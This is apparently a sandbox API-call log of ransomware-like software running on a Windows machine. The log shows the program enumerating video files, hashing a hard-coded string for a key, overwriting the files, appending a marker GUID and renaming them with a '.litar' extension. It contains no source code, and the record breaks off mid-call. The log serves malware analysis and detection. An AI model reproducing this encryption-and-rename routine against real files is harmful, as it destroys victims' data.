SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.384] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.384] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x5286, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x5286, lpOverlapped=0x0) returned 1 [0126.384] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.384] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x528b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.385] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.385] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.385] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.385] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.385] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.385] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.385] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.385] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.385] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.385] CloseHandle (hObject=0x624) returned 1 [0126.386] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.386] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.386] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.386] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\x6E1GbuOZBC_86.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\x6e1gbuozbc_86.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\x6E1GbuOZBC_86.swf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\x6e1gbuozbc_86.swf.litar")) returned 1 [0126.386] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.386] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.387] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.387] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa51ce4a0, ftCreationTime.dwHighDateTime=0x1d4c540, ftLastAccessTime.dwLowDateTime=0x70b3e640, ftLastAccessTime.dwHighDateTime=0x1d4cdc0, ftLastWriteTime.dwLowDateTime=0x70b3e640, ftLastWriteTime.dwHighDateTime=0x1d4cdc0, nFileSizeHigh=0x0, nFileSizeLow=0x10a16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Zmx9tyz7RoVpEsv00H.flv", cAlternateFileName="ZMX9TY~1.FLV")) returned 1 [0126.387] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.387] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.387] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.387] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\Zmx9tyz7RoVpEsv00H.flv") returned=".flv" [0126.387] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\Zmx9tyz7RoVpEsv00H.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\zmx9tyz7rovpesv00h.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.388] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=68118) returned 1 [0126.388] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.390] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x109f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.390] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.391] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.391] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.391] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.391] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x10a16, lpOverlapped=0x0) returned 1 [0126.392] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.392] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.392] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.392] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.392] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.393] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.393] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.393] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.393] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.393] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.393] GetLastError () returned 0x0 [0126.393] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.393] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.393] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10a20) returned 0x30fa0b0 [0126.394] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.394] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.394] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x10a11, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x10a11, lpOverlapped=0x0) returned 1 [0126.394] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.394] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10a16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.394] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.394] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.394] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.394] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.394] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.394] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.394] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.394] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.395] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.395] CloseHandle (hObject=0x624) returned 1 [0126.396] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0126.396] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.396] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0126.396] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\Zmx9tyz7RoVpEsv00H.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\zmx9tyz7rovpesv00h.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\Zmx9tyz7RoVpEsv00H.flv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\zmx9tyz7rovpesv00h.flv.litar")) returned 1 [0126.396] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.396] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.397] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa51ce4a0, ftCreationTime.dwHighDateTime=0x1d4c540, ftLastAccessTime.dwLowDateTime=0x70b3e640, ftLastAccessTime.dwHighDateTime=0x1d4cdc0, ftLastWriteTime.dwLowDateTime=0x70b3e640, ftLastWriteTime.dwHighDateTime=0x1d4cdc0, nFileSizeHigh=0x0, nFileSizeLow=0x10a16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Zmx9tyz7RoVpEsv00H.flv", cAlternateFileName="ZMX9TY~1.FLV")) returned 0 [0126.397] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084120 | out: hHeap=0x5c0000) returned 1 [0126.397] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0126.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751b0 | out: hHeap=0x5c0000) returned 1 [0126.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084288 | out: hHeap=0x5c0000) returned 1 [0126.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084210 | out: hHeap=0x5c0000) returned 1 [0126.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30750e0 | out: hHeap=0x5c0000) returned 1 [0126.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084648 | out: hHeap=0x5c0000) returned 1 [0126.397] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30846c0 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084738 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30847b0 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084828 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075148 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30848a0 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084918 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084990 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084a08 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084a80 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c0 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084300 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0126.398] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0126.398] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.398] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.398] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.398] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.398] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.398] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.398] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.398] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.398] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.398] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.400] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, 